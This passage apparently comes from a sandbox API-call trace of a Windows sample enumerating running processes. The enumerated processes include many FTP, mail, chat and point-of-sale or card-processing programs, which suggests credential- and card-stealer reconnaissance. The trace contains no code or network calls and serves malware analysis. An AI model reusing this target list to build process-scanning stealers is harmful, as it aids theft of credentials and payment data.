th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.288] GetLastError () returned 0x12 [0060.288] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.288] GetLastError () returned 0x12 [0060.288] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.289] GetLastError () returned 0x12 [0060.289] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x33, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.290] GetLastError () returned 0x12 [0060.290] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.291] GetLastError () returned 0x12 [0060.291] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0060.292] GetLastError () returned 0x12 [0060.292] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.292] GetLastError () returned 0x12 [0060.293] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0060.293] GetLastError () returned 0x12 [0060.293] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0060.294] GetLastError () returned 0x12 [0060.294] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.295] GetLastError () returned 0x12 [0060.295] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0060.296] GetLastError () returned 0x12 [0060.296] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0060.296] GetLastError () returned 0x12 [0060.296] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x70c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0060.297] GetLastError () returned 0x12 [0060.297] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.298] GetLastError () returned 0x12 [0060.298] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0060.299] GetLastError () returned 0x12 [0060.299] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0060.300] GetLastError () returned 0x12 [0060.300] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0060.301] GetLastError () returned 0x12 [0060.301] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0060.302] GetLastError () returned 0x12 [0060.302] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0060.303] GetLastError () returned 0x12 [0060.303] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x49c, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0060.304] GetLastError () returned 0x12 [0060.304] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0060.305] GetLastError () returned 0x12 [0060.305] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="paper left.exe")) returned 1 [0060.306] GetLastError () returned 0x12 [0060.306] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="lead possible.exe")) returned 1 [0060.307] GetLastError () returned 0x12 [0060.307] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x968, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="store future.exe")) returned 1 [0060.456] GetLastError () returned 0x12 [0060.456] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="patient_coach_choose.exe")) returned 1 [0060.457] GetLastError () returned 0x12 [0060.457] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="bank_he.exe")) returned 1 [0060.458] GetLastError () returned 0x12 [0060.458] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="such_human.exe")) returned 1 [0060.458] GetLastError () returned 0x12 [0060.458] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="employee.exe")) returned 1 [0060.459] GetLastError () returned 0x12 [0060.459] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="music.exe")) returned 1 [0060.460] GetLastError () returned 0x12 [0060.460] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="societybitofficial.exe")) returned 1 [0060.461] GetLastError () returned 0x12 [0060.461] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="position_star.exe")) returned 1 [0060.461] GetLastError () returned 0x12 [0060.461] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="itself-material.exe")) returned 1 [0060.462] GetLastError () returned 0x12 [0060.462] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="homenothingbook.exe")) returned 1 [0060.463] GetLastError () returned 0x12 [0060.463] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="mean.exe")) returned 1 [0060.464] GetLastError () returned 0x12 [0060.464] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="problem-public-use.exe")) returned 1 [0060.465] GetLastError () returned 0x12 [0060.465] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0060.465] GetLastError () returned 0x12 [0060.465] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0060.466] GetLastError () returned 0x12 [0060.466] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0060.467] GetLastError () returned 0x12 [0060.467] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0060.468] GetLastError () returned 0x12 [0060.468] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0060.468] GetLastError () returned 0x12 [0060.468] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0060.469] GetLastError () returned 0x12 [0060.469] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0060.470] GetLastError () returned 0x12 [0060.470] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0060.471] GetLastError () returned 0x12 [0060.471] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0060.471] GetLastError () returned 0x12 [0060.471] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0060.472] GetLastError () returned 0x12 [0060.472] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0060.473] GetLastError () returned 0x12 [0060.473] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0060.473] GetLastError () returned 0x12 [0060.474] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0060.474] GetLastError () returned 0x12 [0060.475] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0060.476] GetLastError () returned 0x12 [0060.476] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0060.477] GetLastError () returned 0x12 [0060.477] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0060.478] GetLastError () returned 0x12 [0060.478] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0060.479] GetLastError () returned 0x12 [0060.479] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0060.480] GetLastError () returned 0x12 [0060.480] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0060.481] GetLastError () returned 0x12 [0060.481] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0060.482] GetLastError () returned 0x12 [0060.482] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0060.483] GetLastError () returned 0x12 [0060.483] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0060.484] GetLastError () returned 0x12 [0060.484] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0060.485] GetLastError () returned 0x12 [0060.485] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0060.486] GetLastError () returned 0x12 [0060.486] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0060.487] GetLastError () returned 0x12 [0060.487] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0060.488] GetLastError () returned 0x12 [0060.488] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0060.489] GetLastError () returned 0x12 [0060.489] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0060.490] GetLastError () returned 0x12 [0060.490] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0060.491] GetLastError () returned 0x12 [0060.491] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0060.492] GetLastError () returned 0x12 [0060.492] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0060.493] GetLastError () returned 0x12 [0060.493] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0060.493] GetLastError () returned 0x12 [0060.494] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0060.683] GetLastError () returned 0x12 [0060.683] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xacc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0060.684] GetLastError () returned 0x12 [0060.684] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0060.685] GetLastError () returned 0x12 [0060.685] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xadc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0060.686] GetLastError () returned 0x12 [0060.686] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0060.687] GetLastError () returned 0x12 [0060.687] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0060.688] GetLastError () returned 0x12 [0060.688] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="livepresidentlight.exe")) returned 1 [0060.689] GetLastError () returned 0x12 [0060.689] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xafc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="remove patient teacher.exe")) returned 1 [0060.690] GetLastError () returned 0x12 [0060.690] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="certainlyknow.exe")) returned 1 [0060.691] GetLastError () returned 0x12 [0060.691] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0060.691] GetLastError () returned 0x12 [0060.692] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, 